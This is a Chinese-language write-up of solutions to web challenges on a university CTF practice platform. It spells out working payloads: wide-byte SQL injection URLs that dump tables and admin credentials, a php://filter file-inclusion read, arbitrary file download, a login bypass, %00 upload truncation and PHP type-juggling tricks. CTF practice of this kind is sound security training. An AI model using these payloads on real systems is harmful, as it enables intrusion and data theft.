平台地址:http://ctf.nuptsast.com/
簽到題:
右鍵查看源代碼,得到flag
md5 collision:
傳入的a的md5值要為0e開頭的,但不能是QNKCDZO,百度一個0e開頭的md5
得到flag
簽到2:
右鍵查看源代碼
輸入框允許的最大長度為10,口令的長度為11
使用hackbar post一下
得到flag
這題不是WEB:
下載圖片,用記事本打開
拉到最后,得到flag
層層遞進:
是一個網站頁面,先掃一下
有個404.html
查看一下源代碼,得到flag
AAencode:
這題為javascript aaencode解密題,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode
單身二十年:
右鍵查看源代碼
點擊進入,得到flag
php decode:
<?php function CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE; }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
把eval改為echo,在本地用phpstudy測試一下
得到flag
文件包含:
點進去
用php://filter/讀取index.php
構建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
為base64加密,解密一下得到flag
單身一百年也沒用:
開啟firebug,在“網絡”里查看包,點擊鏈接,查看包,得到flag
Download~!:
這類又兩個下載鏈接,復制一下一個地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,后面為base64加密,下載download.php,對download.php進行base64加密后下載
下載后打開
發現一個hereiskey.php,下載后打開,得到flag
COOKIE:
在firebug里的cookies處修改一下,把0改成1,然后刷新頁面
得到flag
MYSQL:
直接在后面加個robots.txt
id不等於1024才給輸出內容,intval()函數又是獲取整數值,直接傳入1024.1,得到flag
sql injection 3:
加個單引號
單引號被過濾了,看來是寬字節注入,查一下字段
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3,4,5 %23
報錯
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2 %23
沒報錯
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3 %23
報錯
有2個字段
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2 %23
爆出了個2,查一下數據庫
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database() %23
爆出了一個數據庫
爆一下表
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
爆出了5個表:ctf,ctf2,ctf3,ctf4,news
爆一下ctf的字段
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23
得到2個字段
爆一下內容
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23
爆出一個admin和一個md5密文
解一下密
密文為njupt
試了ctf2和ctf3都沒有找到flag
試ctf4的時候看到了一個flag字段
爆一下內容
得到flag
/x00:
ereg()函數可以%00截斷,當傳入的nctf為數組時,它的返回值不是FALSE,直接傳入nctf[]得到flag
bypass again:
傳入的a和b的值不相等,但是md5的值相等,可以用數組
得到flag
變量覆蓋:
點擊,看一下源代碼
extract()函數變量覆蓋$pass和$thepassword_123
得到flag
PHP是世界上最好的語言:
訪問一下index.txt
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?
eregi()函數判斷id傳入的值是否為hackerDJ,傳入的id的值url解碼后要跟hackerDJ相同,對hackerDJ進行兩次url編碼
http://way.nuptzj.cn/php/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
得到flag
偽裝者:
這里提示本地登陸
Header:
打開Firebug,刷新一下界面,得到flag
上傳繞過:
選擇一個圖片文件上傳,用burp抓包
在/uploads/后加一個php的后綴名,然后%00截斷,發包得到flag
SQL注入1:
點擊Source,查看源代碼
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo '</br>'.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); } } echo $query[user]; ?>
用admin')把語句閉合,用--把后面的語句注釋掉,如果是admin的話,就能得到flag
構造語句:admin') -- aaa,密碼隨便填
pass check:
代碼如下
<?php $pass=@$_POST['pass']; $pass1=***********;//被隱藏起來的密碼 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?>
strcmp()函數對$pass和$pass1進行比較,如果一樣的話返回flag,strcmp()比較的結果相同時會返回0,比較數組的時候會返回null,null和0在判斷中相等
用hackbar post一個數組
得到flag
起名字真難:
源碼如下:
<?php function noother_says_correct($number) { $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '54975581388'; } $flag='*******'; if(noother_says_correct($_GET['key'])) echo $flag; else echo 'access denied'; ?>
不能傳入數字,但是要傳入54975581388,才能得到flag,轉換為十六進制傳入
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
得到flag